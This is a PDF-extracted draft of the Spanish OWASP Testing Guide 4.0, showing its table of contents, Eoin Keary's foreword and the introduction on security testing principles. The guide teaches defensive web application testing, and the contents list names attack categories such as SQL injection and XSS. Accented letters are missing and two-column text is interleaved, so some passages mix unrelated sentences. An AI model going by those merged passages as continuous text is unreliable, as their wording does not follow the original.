Guia de Pruebas Owasp 4.0 Español PDF

Guia de pruebas 4.
0 "Borrador"
FERNANDO VELA
ROBERTO ANDRADE
QUITO- ECUADOR
Documento Pre-release cortesa de Fernando Vela para drangonjar.org

1
Guia de pruebas 4.0 "Borrador"
LOS ICONOS DE ABAJO REPRESENTAN QUE

OTRAS VERSIONES ESTN DISPONIBLES EN
IMPRESO PARA ESTE TTULO DE LIBRO.
ALPHA: el contenido del libro "Calidad Alfa" es

un borrador de trabajo. El contenido es muy
spero y en desarrollo hasta el nivel siguiente de
la publicacin.
BETA: el contenido del libro "Calidad Beta" es el

siguiente nivel ms alto. El contenido est
todava en desarrollo hasta la prxima
publicacin.
RELEASE: el contenido del libro "Calidad de

Liberacin" es el ms alto nivel de calidad en un
ttulo del libro ciclo de vida, y es un producto final.

2

3
Indice
0
Pgina 6-8
Prologo por Eoin Keary
1
Pgina 9-12
Frontispicio
Acerca de el proyecto de guia de pruebas OWASP
Acerca de el Proyecto de Seguirdad de Aplicaciones WEB Abierta
2
Pgina 13-37
Introduction
El proyecto de pruebas OWASP
Principios de la prueba
Explicacin de las tcnicas de prueba
Derivar requerimientos de pruebas de seguirdad
Las pruebas de seguridad integradas al desarrollo y flujos de trabajo de las pruebas de seguridad
Anlisis de datos de prueba de seguridad y reportes
3
Pgina 38-41
El marco referencial (framework) de pruebas de OWASP
Resumen
Fase1: Antes del inicio del desarrollo

1
Fase 2: Durante la definicin y diseo
Fase 3: Durante el desarrollo
Fase 4: Durante la fase de implementacin
Fase 5: Mantenimiento y operaciones
Flujo de trabajo del marco de pruebas de OWASP
4
Pginas 42-313
Pruebas de seguridad de aplicaciones WEB
Introduccin y objetivos
Listado de validacin de pruebas
Recopilacin de informacin
Conducir motor de busqueda para el descubrimiento y reconocimiento de fugas de informacin (OTG-INFO-001)
Huellas digitales servidor WEB (OTG-INFO-002)
Revision de los meta archivos del servidor web en busca de fugas de informacin (OTG-INFO-003)
Ennumere las aplicaciones en el servidor WEB (OTG-INFO-004)
Revisin de los comentarios del sitio web y los metadatos en busca de fujas de informacin (OTG-INFO-005)
Identificar puntos de entrada de la aplicacin (OTG-INFO-006)
Creacin de mapas de rutas de ejecucin a travs de la aplicacin (OTG-INFO-007)
Marco referencial para el uso de huellas digitales en aplicaciones WEB (OTG-INFO-008)
Huellas digitales aplicaciones WEB (OTG-INFO-009)
Mapa de arquitectura de la aplicacin (OTG-INFO-010)
Pruebas para gestionar la configuracin y la implementacin
Prueba configuracin Red/Infraestructura (OTG-CONFIG-001)
Prueba de la configuracin de la plataforma de aplicacines (OTG-CONFIG-002)
Prueba manejo de archivos de extensiones en busca informacin sensible (OTG-CONFIG-003)
Revisin archivos viejos, copias de seguridad y archivos no referenciados para Informacin sensible (OTG-CONFIG-004)
Enumeracin Infraestructura y de Interfaces de administracin de aplicaciones (OTG-CONFIG-005)

2
Prueba metodos HTTP (OTG-CONFIG-006)
Prueba HTTP Strict Transport Security (OTG-CONFIG-007)
Prueba poltica de dominio cruzado RIA (OTG-CONFIG-008)
Pruebas de Administracin de Identidad
Prueba de definicin de roles (OTG-IDENT-001)
Prueba proceso de registro de usuarios (OTG-IDENT-002)
Prueba proceso de provisin de cuentas (OTG-IDENT-003)
Pruebas para ennumeracin de cuentas y adivinanza de cuentas de usuario (OTG-IDENT-004)
Pruebas politica de nombre de usuarios debiles o sin fuerza (OTG-IDENT-005)
Pruebas de autenticacin
Pruebas para credenciales transportadas sobre canales encriptados (OTG-AUTHN-001)
Pruebas credenciales por defecto (OTG-AUTHN-002)
Pruebas para mecanismos de seguridad dbiles (OTG-AUTHN-003)
Pruebas para eludir el esquema de autenticacin (OTG-AUTHN-004)
Prueba funcionalidad recordatorio de clave (OTG-AUTHN-005)
Prueba para debilidades en la memoria del navegador (OTG-AUTHN-006)
Prueba para politica de clave dbil (OTG-AUTHN-007)
Prueba para seguirdad pregunta/respuest dbil (OTG-AUTHN-008)
Prueba para cambios de clave dbil o funcionalidades de reinio. (OTG-AUTHN-009)
Prueba para autenticacin dbil en canal alternativo (OTG-AUTHN-010)
Pruebas de autorizacin
Prueba de inclusin archivos de directorio de circulacin (OTG-AUTHZ-001)
Prueba para evadir el esquema de autorizacin (OTG-AUTHZ-002)
Prueba para escalacin de privilegios (OTG-AUTHZ-003)
Prueba de la referencia de objetos directos inseguros (OTG-AUTHZ-004)
Pruebas de administracin e sesin
Prueba para evadir el esquema de administracin de sesin (OTG-SESS-001)
Prueba para atributos de cookies (OTG-SESS-002)

3
Prueba de fijacin de sesin (OTG-SESS-003)
Prueba de exposicin de variables de sesin (OTG-SESS-004)
Prueba para falsificacin de peticin de sitio cruzado (CSRF) (OTG-SESS-005)
Pruebas funcionalidad cierre de sesin (OTG-SESS-006)
Pruebas del tiempo cierre de sesin (OTG-SESS-007)
Prueba para sobrecarga de variables (Session puzzling) (OTG-SESS-008)
Pruebas de validacin de entradas
Pruebas para la reflexin de Cross Site scripting (OTG-INPVAL-001)
Pruebas de Cross Site Scripting almacenados (OTG-INPVAL-002)
Pruebas de manipulacin de verbos en HTTP (OTG-INPVAL-003)
Pruebas de contaminacin de parmetros HTTP (OTG-INPVAL-004)
Pruebas de Inyecciones de SQL (OTG-INPVAL-005)
Pruebas en Oracle
Pruebas de MySQL
Pruebas del servidor SQL (SQL Server)
Probar la seguridad del proyecto de acceso restringido PostgresSQL de OWASP
Pruebas para MS Access
Pruebas de inyeccin NoSQL
Pruebas de inyeccin LDAP (OTG-INPVAL-006)
Pruebas de inyeccin de ORM (OTG-INPVAL-007)
Pruebas de inyeccin de XML (OTG-INPVAL-008)
Pruebas de inyeccin SSI (OTG-INPVAL-009)
Pruebas de inyeccin XPath (OTG-INPVAL-010)
Pruebas de inyeccin de IMAP/SMTP (OTG-INPVAL-011)
Pruebas de inyeccin de cdigo (OTG-INPVAL-012)
Pruebas para determinar la inclusin de documentos locales
Pruebas para la inclusin remota de archivos
Pruebas de inyeccin de comandos (OTG-INPVAL-013)

4
Pruebe la saturacin del Bfer (OTG-INPVAL-014)
Pruebas de saturacin de Heap
Probar la saturacin de pila de datos
Pruebas para la cadena de formato
Pruebas de las vulnerabilidades incubadas (OTG-INPVAL-015)
Pruebas para verificar la separacin/contrabando de HTTP (OTG-INPVAL-016)
Pruebas de manejo de errores
Pruebas de errores de cdigo (OTG-ERR-001)
Pruebas para determinar los rastors de pila de datos (OTG-ERR-002)
Pruebas para Critografa dbil
Pruebas de codificadores SSL/TLS dbiles, priteccin de trasnporte de capas insuficiente (OTG-CRYPST-001)
Prueba del Padding Oracle (REelleno de Oracle) (OTG-CRYPST-002)
Pruebas para el envo de informacin sensible por canales sin encriptar (OTG-CRYPST-003)
Prueba de la lgica del negocio
Pruebas de la validacin de datos de la lgica del negocio (OTG-BUSLOGIC-001)
Prueba de la habilidad para manipular consultas (OTG-BUSLOGIC-002)
Prueba de comprobacin de integridad (OTG-BUSLOGIC-003)
Pruebas del tiempo de procesamiento (OTG-BUSLOGIC-004)
Prueba del nmero de veces que limita el uso de una funcin (OTG-BUSLOGIC-005)
Pruebas para la evasin de los flujos de trabajo (OTG-BUSLOGIC-006)
Prueba de las defensas contra el mal uso de la aplicacin (OTG-BUSLOGIC-007)
Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-BUSLOGIC-008)
Prueba de la posibilidad de carga de archivos maliciosos (OTG-BUSLOGIC-009)
Pruebas en el lado del cliente
Prueba del Cross Site Scripting basado en DOM (OTG-CLIENT-001)
Prueba de la ejecucin de JavaScript (OTG-CLIENT-002)
Prueba de inyeccin de HTML (OTG-CLIENT-003)
Pruebas de redireccionamiento de la URL del lado del cliente (OTG-CLIENT-004)

5
Pruebas de inyeccin de CSS (OTG-CLIENT-005)
Pruebas de la manipulacin de recursos del lado del cliente (OTG-CLIENT-006)
Pruebas para el Intercambio de recursos de origen cruzado (OTG-CLIENT-007)
Pruebas de Cross Site Flashing (OTG-CLIENT-008)
Pruebas de Clickjacking (OTG-CLIENT-009)
Pruebas de WebSockets (OTG-CLIENT-010)
Prueba de mensajera web (Web Messaging) (OTG-CLIENT-011)
Prueba de Almacenamiento Local (OTG-CLIENT-012)
5
Pginas 314-331
Apndice
Apndice A: Herramientas de prueba
Herramientas de Pruebas de Caja Negra de cdigo abierto
Apndice B: Lecturas sugeridas
Libros Blancos
Libros
Pginas Web tiles
Apndice C: Vectores Fuzz
Categoras Fuzz
Apndice D: Inyeccin codificada
Codificacin de entrada
Codificacin de salida

6
Prlogo de la Gua de Pruebas

El problema del software no seguro es quizs el desafo tcnico
0
ms importante de nuestro tiempo. El dramtico aumento de las
aplicaciones web para negocios, redes sociales, etc. slo ha
7
complicado los requerimientos para definir un enfoque robusto

para escribir y asegurar nuestras Aplicaciones Web e Informacin.
Prlogo de Eoin Keary, Consejo Global OWASP
El problema del software inseguro es quizs el desafo tcnico ms importante

de nuestro tiempo. El aumento espectacular de las aplicaciones web que
permiten generar negocios, redes sociales, etc. slo ha agravado los requisitos
para establecer un enfoque robusto para escribir y asegurar nuestros Internet,
Aplicaciones Web y Datos.
En el Proyecto de Seguridad para Aplicaciones en Red Abierta (OWASP),

estamos tratando de hacer del mundo un lugar donde el software inseguro sea
la anomala, no la norma. La Gua de Pruebas OWASP tiene un papel
importante que desempear en la solucin de este grave problema. Es de vital
importancia que nuestro enfoque para pruebas de software por temas de
seguridad se base en los principios de ingeniera y ciencia. Necesitamos un
enfoque consistente, repetible y definido para las pruebas de aplicaciones web.
Un mundo sin normas mnimas en materia de ingeniera y tecnologa es un
mundo catico.
Es obvio que no se puede construir una aplicacin segura sin realizar pruebas
de seguridad en la misma. Las pruebas son parte de un enfoque ms amplio en
la construccin de un sistema seguro. Muchas organizaciones de desarrollo de
software no incluyen pruebas como parte de su procedimiento estndar de
desarrollo de software. Lo que es peor an, muchos proveedores de seguridad
entregan pruebas con diversos grados de calidad y rigor.
Las pruebas de seguridad, por s mismas, no son una medida de seguridad

particularmente confiable de lo segura que es una aplicacin, ya que hay un
nmero infinito de formas en que un atacante podra ser capaz de romper la
aplicacin, y simplemente no es posible poner a prueba a todas ellas. No
podemos nosotros mismos hackear seguridades y solo tenemos un tiempo
limitado para probar y defender mientras que un atacante no tiene estas Por qu OWASP?
limitaciones.
Crear una gua como esta es una gran tarea que requiere de la experiencia de
En conjunto con otros proyectos de la OWASP como la Gua de Revisin de
cientos de personas alrededor del mundo. Hay muchas maneras diferentes
Cdigos, la Gua de Desarrollo y Herramientas como OWASP ZAP, es un
para detectar fallos de seguridad y esta gua captura el consenso de los
gran comienzo para la construccin y mantenimiento de aplicaciones seguras. principales expertos sobre cmo realizar esta prueba con rapidez, exactitud y
La gua de desarrollo mostrar para su proyecto cmo disear y construir una eficiencia.OWASP da a personas de seguridad con conocimientos afines la
aplicacin segura, la Gua de Revisin de Cdigos le dir cmo verificar la capacidad de trabajar conjuntamente y formar un enfoque de prctica de
seguridad del cdigo de origen de su aplicacin, y esta Gua de Pruebas le liderazgo para un problema de seguridad.
mostrar cmo verificar la seguridad de su aplicacin en funcionamiento. Yo
recomiendo utilizar estas guas como parte de sus iniciativas para la seguridad
de su aplicacin.

8
La importancia de tener esta gua en forma totalmente libre y abierta es Los desarrolladores deben usar esta gua para asegurarse de que estn
importante para la misin de las fundaciones. Da a cualquiera la capacidad de produciendo cdigos seguros. Estas pruebas deben ser parte de los
entender las tcnicas usadas para detectar problemas de seguridad comunes. procedimientos normales de los cdigos y de la unidad de pruebas.
La seguridad no debe ser un arte oscuro o un secreto cerrado que slo unos
pocos pueden practicar. Debe estar abierta a todos y no ser exclusiva para los
profesionales en seguridad, sino tambin para desarrolladores de control de
calidad y gerentes tcnicos. El proyecto para la construccin de esta gua Los evaluadores de software y control de calidad deben usar esta gua para
mantiene la experiencia en manos de la gente que lo necesita; usted, yo y ampliar el conjunto de casos de prueba que emplean en las aplicaciones.
cualquier persona que participa en la construccin de software. Atrapar estas vulnerabilidades tempranamente es un ahorro considerable de
tiempo y esfuerzo ms adelante.
Esta gua debe abrirse paso hasta las manos de los desarrolladores y
evaluadores de software. No hay suficientes expertos de seguridad de Los especialistas en seguridad deben usar esta gua en combinacin con
aplicaciones en el mundo para hacer una abolladura significativa en el otras tcnicas como una manera de verificar que no se haya escapado algn
problema general. agujero de seguridad en la aplicacin.
Los gerentes de proyectos deben considerar la razn por la que esta gua
existe y que las cuestiones de seguridad se manifiestan mediante errores de
La responsabilidad inicial de seguridad de las aplicaciones debe recaer en los cdigo y diseo.
hombros de los desarrolladores; ellos escriben el cdigo. No debera ser una
sorpresa que los desarrolladores no estn produciendo codificacin segura si
no la estn probando o consideran los tipos de errores que generan la
vulnerabilidad. Lo ms importante cuando se realizan pruebas de seguridad es recordar que
se deben priorizar continuamente. Hay un nmero infinito de posibilidades
para que una aplicacin pueda fallar, y las organizaciones siempre han tenido
tiempo y recursos limitados. Asegrese de que el tiempo y los recursos se
Mantener esta informacin actualizada es un aspecto crtico de este proyecto utilicen adecuadamente. Trate de concentrarse en los agujeros de seguridad
de gua. Adoptando el enfoque wiki, la comunidad OWASP puede que son un riesgo real para su negocio. Trate de contextualizar el riesgo en
evolucionar y ampliar la informacin en esta gua para mantener el ritmo con cuanto a la aplicacin y sus usos.
el panorama de la veloz amenaza de seguridad a las aplicaciones.
Esta gua se visualiza mejor como un conjunto de tcnicas que puede utilizar
para encontrar diferentes tipos de agujeros de seguridad. Pero no todas las
tcnicas son igual de importantes. Trate de evitar el uso de la gua como una
Esta gua es un gran testimonio de la pasin y energa que nuestros miembros lista de verificacin. Nuevas vulnerabilidades siempre se manifestarn y
y voluntarios del proyecto han dedicado a este tema. Sin duda ayudar a ninguna gua puede ser una lista exhaustiva de "cosas por probar", sino ms
cambiar el mundo "una lnea de cdigo" a la vez. bien un gran lugar para comenzar.
El papel de las herramientas automatizadas

Confeccionar y Priorizar
Existe un nmero de empresas que venden anlisis de seguridad

Usted debera adoptar esta gua en su organizacin. Deber adaptar la automatizados y herramientas de prueba. Recuerde las limitaciones de estas
informacin para que coincida con la tecnologa, procesos y estructura herramientas para que pueda usarlas para lo que son buenas. Como Michael
organizacional de su empresa.
Howard dijo en la Conferencia del 2006 de OWASP AppSec en Seattle: "las
herramientas no hacen al software seguro! Ayudan a elevar el proceso y a
cumplir la poltica."
En general, hay varios roles diferentes que pueden usar esta gua dentro de las
organizaciones:
Lo ms importante, estas herramientas son genricas; lo que significa que no
estn diseadas para un cdigo personalizado, sino para aplicaciones en

9
general. Eso significa que mientras pueden encontrar algunos problemas de las aplicaciones, pero no es exhaustiva. Si encuentra errores, por favor
genricos, no tienen suficiente conocimiento de la aplicacin para que puedan agregue una nota en la pgina de discusin o haga el cambio usted mismo.
detectar la mayora de los errores. En mi experiencia, los ms graves Estar ayudando a miles de personas que utilizan esta gua.
problemas de seguridad son los que no son genricos, sino profundamente
entrelazados en su lgica de negocio y diseo de la aplicacin personalizada.
Por favor, considere unirse a nosotros como miembro individual o

corporativo, para que podamos seguir produciendo materiales como esta gua
Estas herramientas tambin pueden ser seductoras, puesto que encuentran una de prueba y todos los otros grandes proyectos en OWASP.
gran cantidad de problemas potenciales. Mientras que ejecutar las
herramientas no toma mucho tiempo, cada uno de los problemas potenciales
toma tiempo en investigar y verificar. Si el objetivo es encontrar y eliminar los
defectos ms graves lo ms rpidamente posible, considere si es mejor utilizar Gracias a todos los participantes pasados y futuros de esta gua; su trabajo
su tiempo con herramientas automatizadas o con las tcnicas descritas en esta ayudar a hacer aplicaciones ms seguras en todo el mundo.
gua. Sin embargo, estas herramientas son, sin duda, parte de un programa de
seguridad de aplicaciones bien equilibrado. Usadas sabiamente, pueden
apoyar sus procesos globales para producir un cdigo ms seguro.
Llamado a la accin
Eoin Keary, Miembro de la Junta Directiva de OWASP, Abri 19, 2013
Si est construyendo, diseando o probando software, le animo a

familiarizarse con la gua de la prueba de seguridad en este documento. Es un
gran mapa para probar los problemas ms comunes que enfrentan hoy los usos
Frontispicio de la Gua de Prueba
1 "Conocimiento abierto y colaborativo: sta es la forma de la

OWASP."

10
Con V4 nos dimos cuenta de una nueva gua que ser la gua estndar
por defecto para realizar pruebas de Penetracin de Aplicaciones
Web. -Matteo Meucci.
El Proyecto de Pruebas OWASP
2 El proyecto de pruebas OWASP ha sido desarrollado durante muchos

aos. El objetivo del proyecto es ayudar a las personas a entender el
qu, por qu, cundo, dnde y cmo de la prueba de las aplicaciones
web.
Redactar la Gua de Pruebas ha demostrado ser una tarea difcil. Fue un reto Un principio bsico de la ingeniera de software es que usted no puede controlar lo
conseguir consenso y desarrollar contenidos que permitan aplicar los conceptos que no se puede medir [1]. Las pruebas de seguridad no son diferentes.
descritos en la gua, permitiendo a la vez que trabajen en su propio entorno y Desafortunadamente, medir la seguridad es un proceso difcil. Este tema no se
cultura. Tambin fue un reto el cambiar el enfoque de las pruebas de pruebas de cubrir en detalle aqu, ya que tendr su gua propia (para una introduccin, vea
penetracin a pruebas integradas en el ciclo de vida de desarrollo de las [2]).
aplicaciones web.
Un aspecto que debe destacarse es que las medidas de seguridad son acerca de las
Sin embargo, el grupo est muy satisfecho con los resultados del proyecto. Muchos cuestiones tcnicas especficas (por ejemplo, cmo prevalece una cierta
expertos de la industria y profesionales de seguridad, algunos de los cuales son vulnerabilidad) y cmo estos problemas afectan la economa del software. La
responsables de la seguridad del software en algunas de las empresas ms grandes mayora de personas tcnicas comprendern al menos las cuestiones
del mundo, estn validando el marco de la prueba. Este marco ayuda a las fundamentales, o pueden tener una comprensin ms profunda de las
organizaciones a probar sus aplicaciones web para crear software confiable y vulnerabilidades. Lamentablemente, pocos son capaces de traducir ese
seguro. El marco no solo resalta las reas dbiles, aunque este ltimo es sin duda un conocimiento tcnico en trminos monetarios y cuantificar el costo potencial de las
subproducto de muchas de las guas y listas de verificacin de OWASP. As, vulnerabilidades al negocio del propietario de la aplicacin. Hasta que esto no
decisiones difciles tuvieron que tomarse, respecto a la conveniencia de ciertas ocurra, los gerentes de sistemas (CIO) no sern capaces de calcular un retorno
tcnicas de prueba y tecnologas de pruebas. El Grupo entiende perfectamente que exacto de inversin en seguridad y, consecuentemente, asignar un presupuesto
no todos estarn de acuerdo con todas estas decisiones. Sin embargo, OWASP es apropiado para la seguridad de las aplicaciones.
capaz de alcanzar otros niveles y cambiar la cultura en el tiempo a travs de
sensibilizacin y educacin basadas en el consenso y la experiencia. Mientras que calcular el costo de software inseguro puede parecer una tarea
desalentadora, ha habido una cantidad significativa de trabajo en esta direccin. Por
ejemplo, en junio de 2002, el Instituto Nacional Estadounidense de Estndares
(NIST) public una encuesta sobre el costo del software inseguro en la economa
El resto de esta gua est organizado como se indica a continuacin: Esta de Estados Unidos, debido a la inadecuada prueba de software [3]. Curiosamente,
introduccin cubre los prerrequisitos de las pruebas de aplicaciones web y de su se estima que una mejor infraestructura de pruebas ahorrara ms de un tercio de
alcance. Tambin cubre los principios exitosos de pruebas y las tcnicas de esos costos, o alrededor de $22 mil millones al ao. Ms recientemente, los
pruebas. El Captulo 3 presenta el marco de pruebas de OWASP y explica sus vnculos entre la economa y la seguridad han sido estudiados por investigadores
tcnicas y tareas en relacin con las distintas fases del ciclo de vida del desarrollo acadmicos. Vea [4] para ms informacin sobre algunos de estos esfuerzos.
de aplicaciones. El Captulo 4 cubre cmo comprobar vulnerabilidades especficas
(por ejemplo, inyeccin de SQL) mediante inspeccin de cdigo y pruebas de
penetracin.
El marco descrito en este documento alienta a las personas a medir la seguridad a
travs del proceso completo de desarrollo. Pueden, entonces, relacionar el costo del
software inseguro con el impacto que tiene en el negocio y, en consecuencia,
Para medir la seguridad: la economa del software inseguro desarrollar procesos de negocios adecuados y asignar recursos para manejar el
riesgo. Recuerde que la medicin y pruebas de aplicaciones web son incluso ms
11
crticas que otros programas, ya que las aplicaciones web estn expuestas a La mayora de la gente, hoy en da, no prueba el software hasta que ya ha sido
millones de usuarios a travs de Internet. creado y est en la fase de despliegue de su ciclo de vida (es decir, el cdigo ha sido
creado y utilizado en una aplicacin web activa). Esto suele ser una prctica muy
ineficaz y con un costo prohibitivo. Uno de los mejores mtodos para impedir que
haya fallos de seguridad que aparecen en aplicaciones en produccin es mejorar el
Qu es probar? Ciclo de Vida de Desarrollo de Software (SDLC), incluyendo seguridades en cada
una de sus fases. Un SDLC es una estructura impuesta sobre el desarrollo de
Durante el ciclo de vida de desarrollo de una aplicacin web necesitan probarse artefactos de software. Si un SDLC actualmente no est siendo utilizando en su
muchas cosas, pero qu significa realmente probar? El diccionario Merriam- entorno, es hora de elegir uno! La siguiente figura muestra un modelo SDLC
Webster describe como: genrico, as como el costo creciente (estimado) de correccin de fallas de
seguridad en este modelo.
Poner a prueba o verificar.

Figura 1: Modelo SDLC genrico
Someterse a una prueba.
Asignar una posicin o una evaluacin basada en pruebas.
Para los efectos de este documento, probar es un proceso de comparar el estado de

un sistema o una aplicacin contra un conjunto de criterios. En la industria de
seguridad, las personas, con frecuencia, prueban contra un conjunto de criterios
mentales que no son bien definidos ni completos. Como resultado de esto, muchas
personas ajenas consideran las pruebas como un arte oscuro. El objetivo de este
documento es cambiar esa percepcin y hacerlo ms fcil para que personas sin
conocimientos detallados de seguridad puedan hacer una diferencia en las pruebas.
Por qu realizar pruebas?
Este documento est diseado para ayudar a las organizaciones a entender lo que
comprende un programa de pruebas y para ayudarles a identificar los pasos que
deben realizarse para construir y operar un programa de pruebas en aplicaciones
web. La gua ofrece una amplia visin de los elementos necesarios para hacer un
programa comprensible de seguridad para aplicaciones web. Esta gua puede
utilizarse como una gua de referencia y metodologa para ayudar a determinar la
brecha entre las prcticas existentes y las mejores prcticas de la industria. Esta
gua permite a las organizaciones compararse con colegas del sector, para
comprender la magnitud de los recursos necesarios para probar y mantener el
software, o para prepararse para una auditora. Este captulo no entra en los detalles
Las empresas deben inspeccionar su SDLC para garantizar que la seguridad es
parte integral del proceso de desarrollo. Los SDLC deben incluir pruebas de
seguridad para garantizar que esta est adecuadamente cubierta y los controles sean
eficaces durante todo el proceso de desarrollo.
tcnicos de cmo probar una aplicacin, ya que la intencin es proporcionar un

marco de seguridad organizacional tpico. Los detalles tcnicos acerca de cmo
probar una aplicacin, como parte de una revisin de cdigos o pruebas de Qu se prueba?
penetracin, se cubrir en las dems partes de este documento.
Puede ser til pensar en el desarrollo de software como una combinacin de
personas, procesos y tecnologa. Si estos son los factores que "crean" software,
entonces es lgico que estos sean los factores que deben analizarse. Hoy, la
Cundo probar? mayora de la gente generalmente prueba la tecnologa o el software mismo.

12
Un programa efectivo de pruebas debe tener componentes que prueban:

Principios de la prueba
Personas para asegurar que existe una educacin adecuada y consciente;
Proceso para asegurar que hay criterios y polticas adecuadas y que las No hay una bala de plata
Aunque es tentador pensar que un escner de seguridad o cortafuegos para

aplicaciones pueden proporcionar muchas defensas contra el ataque o identificar
una serie de problemas, en realidad no hay ninguna bala de plata para el problema
del software inseguro. El software de evaluacin de seguridad, aunque es til como
personas sepan cmo seguir estas polticas; un primer paso para encontrar el premio deseado, suele ser inmaduro e ineficaz en
las evaluaciones a fondo o en brindar una prueba de cobertura adecuada. Recuerde
Tecnologa para garantizar que el proceso ha sido eficaz en su implementacin. que la seguridad es un proceso y no un producto.
A menos que se adopte un enfoque integral, slo probar la aplicacin tcnica de Pensar estratgicamente, no tcticamente
una aplicacin no destapar la gestin o vulnerabilidades operacionales que podran
estar presentes. Probando a las personas, polticas y procesos, una organizacin En los ltimos aos, los profesionales de la seguridad se han dado cuenta de la
puede encontrar temas que despus se manifiesten en defectos en la tecnologa, as falacia del modelo de remendar y penetrar que fue dominante en la seguridad de la
como erradicar errores tempranamente e identificar la causa de los defectos. informacin durante la dcada de 1990. El modelo de remendar y penetrar implica
Adems, slo probando algunas de las cuestiones tcnicas que pueden estar corregir un error reportado, pero sin una investigacin adecuada de la causa inicial.
presentes en un sistema resultar en una evaluacin de seguridad incompleta e Este modelo se asocia generalmente a la ventana de vulnerabilidad que se muestra
inexacta. en la figura siguiente. La evolucin de las vulnerabilidades en software comn
utilizado en todo el mundo ha demostrado la ineficacia de este modelo. Para
obtener ms informacin acerca de la ventana de la vulnerabilidad, consulte [6].
Denis Verdon, Jefe de Seguridad de la Informacin en Fidelity National Finantial,

present una excelente analoga de este concepto errneo en la Conferencia
OWASP AppSec 2004 en Nueva York [5]: si los coches fueran construidos como Estudios de vulnerabilidad [7] han demostrado que, con el tiempo de reaccin de
aplicaciones [...] las pruebas de seguridad asumiran nicamente un impacto frontal. los atacantes en todo el mundo, la tpica ventana de vulnerabilidad no proporciona
Los coches no seran probados en volcamiento, o pruebas de estabilidad en suficiente tiempo para la instalacin de la correccin, desde el momento de
maniobras de emergencia, la efectividad de los frenos, impacto lateral y la descubrir una vulnerabilidad; que se desarrolle y lance un ataque automtico contra
resistencia al robo." la aplicacin ha ido disminuyendo cada ao.
Hay varias suposiciones incorrectas en el modelo de parche y penetracin. Muchos

usuarios creen que los parches interfieren con las operaciones normales y podran
daar las aplicaciones existentes. Tambin es incorrecto asumir que todos los
usuarios estn conscientes de los parches recientemente lanzados. Por lo tanto, no
Retroalimentacin y comentarios todos los usuarios de un producto aplicarn parches, porque piensan que el parche
puede interferir con el funcionamiento del software o por la falta de conocimiento
Como con todos los proyectos de OWASP, agradecemos sus comentarios sobre la existencia del parche.
y sugerencias. Especialmente nos gusta saber que nuestro trabajo est siendo
utilizado y que es eficaz y preciso.
Figura 2: Ventana de vulnerabilidad
Hay algunos errores comunes al desarrollar una metodologa de pruebas para
encontrar las fallas de seguridad en el software. Este captulo cubre algunos de los
principios bsicos que los profesionales deben tomar en cuenta al realizar pruebas
de seguridad en el software.

13
Es fundamental incluir la seguridad en el ciclo de vida de desarrollo de software

(SDLC) para evitar problemas de seguridad recurrentes dentro de una aplicacin.
Los desarrolladores pueden incluir la seguridad en el SDLC mediante el desarrollo
de normas, polticas y directrices que encajan y funcionan dentro de la metodologa
de desarrollo. El uso de modelos de amenazas y otras tcnicas deberan usarse para
ayudar a asignar recursos adecuados a las partes de un sistema que estn en mayor
riesgo.
El SDLC es rey
El SDLC es un proceso muy conocido por los desarrolladores. Integrando la

seguridad en cada fase del SDLC, nos permite una visin holstica de la seguridad
de la aplicacin que aprovecha los procedimientos vigentes dentro de la
organizacin. Tome en cuenta que mientras los nombres de las distintas fases
pueden cambiar dependiendo del modelo de SDLC utilizado por cada
organizacin, cada fase conceptual del arquetipo SDLC ser utilizado para
desarrollar la aplicacin (es decir, definir, disear, desarrollar,
implementar, mantener). Cada fase tiene consideraciones de seguridad que deben

formar parte del proceso existente, para asegurar un programa de seguridad integral
y rentable.
Hay varios marcos seguros de SDLC que ofrecen consejos tanto descriptivos como
prescriptivos. Si una persona toma el consejo descriptivo o preceptivo, depende de
la madurez del proceso de SDLC. Esencialmente, el asesoramiento prescriptivo
muestra cmo debe trabajar el SDLC seguro y el asesoramiento descriptivo
muestra cmo debe usarse en el mundo real. Ambos tienen su lugar.

14
Por ejemplo, si no sabe por dnde empezar, un marco prescriptivo puede herramientas automatizadas son realmente malas al realizar pruebas de
proporcionar un men de controles de seguridad potenciales que pueden aplicarse vulnerabilidad automticamente es que este pensamiento creativo debe hacerse
en el SDLC. El asesoramiento descriptivo puede entonces impulsar el proceso de caso por caso, ya que la mayora de las aplicaciones web se desarrollan de una
decisin mediante la presentacin de lo que ha funcionado bien para otras manera nica (aun cuando usen marcos comunes).
organizaciones. SDLC descriptivos seguros son BSIMM-V, y SDLC prescriptivos
seguros incluyen el Software Abierto de Modelo de Garanta de Madurez de
OWASP (OpenSAMM) y el ISO/IEC 27034, partes 1-8, segmentos del cual
todava estn en desarrollo. Entender el tema
Una de las primeras iniciativas importantes en cualquier buen programa de

seguridad es solicitar documentacin precisa sobre la aplicacin. La arquitectura,
Prueba temprano y prueba continuamente diagramas de flujo de datos, casos de uso, etc., deberan ser escritos en documentos
formales y disponibles para su revisin. Las especificaciones tcnicas y
Cuando un error se detecta tempranamente dentro del SDLC, puede abordarse ms documentos de la aplicacin deben incluir informacin que muestre no slo los
rpido y a menor costo. En este sentido, un fallo de seguridad no es diferente de un casos deseados de uso, sino tambin cualquier caso de uso no permitido
fallo funcional o de un fallo basado en el rendimiento. Un paso clave para hacer expresamente. Por ltimo, es bueno tener al menos una infraestructura de seguridad
que esto sea posible es educar a los equipos de desarrollo y control de calidad sobre bsica que permita la supervisin y seguimiento de tendencias de ataque contra las
los problemas comunes de seguridad y las maneras de detectar y evitarlos. Aunque aplicaciones y la red de la organizacin (por ejemplo, los sistemas IDS).
las nuevas bibliotecas, herramientas o idiomas pueden ayudar a disear mejores
programas (con menos errores de seguridad), nuevas amenazas surgen
Utilizar la herramientas correctas
constantemente y los desarrolladores deben ser conscientes de las amenazas que Aunque ya hemos indicado que no hay ninguna herramienta perfecta, las
afectan al software que estn desarrollando. La educacin en pruebas de seguridad herramientas juegan un papel crtico en el programa general de seguridad. Hay una
tambin ayuda a los desarrolladores a adquirir la mentalidad apropiada para probar gama de herramientas de cdigo abierto y herramientas comerciales que pueden
una aplicacin desde la perspectiva de un atacante. Esto permite a cada automatizar muchas tareas rutinarias de seguridad. Estas herramientas pueden
organizacin considerar los problemas de seguridad como parte de sus simplificar y acelerar el proceso de seguridad al ayudar al personal de seguridad en
responsabilidades actuales. sus tareas. Sin embargo, es importante entender exactamente lo que estas
herramientas pueden y no pueden hacer para que no se sobrevaloren o se utilicen
incorrectamente.
Comprender el mbito de seguridad
Es importante saber cunta seguridad requerir un proyecto. La informacin y los El Diablo se encuentra en los detalles
activos que deben ser protegidos debern tener una clasificacin que establezca
cmo deben ser manejados (por ejemplo, confidencial, secreto, ultra secreto). Las Es fundamental no realizar una revisin superficial de la seguridad de una
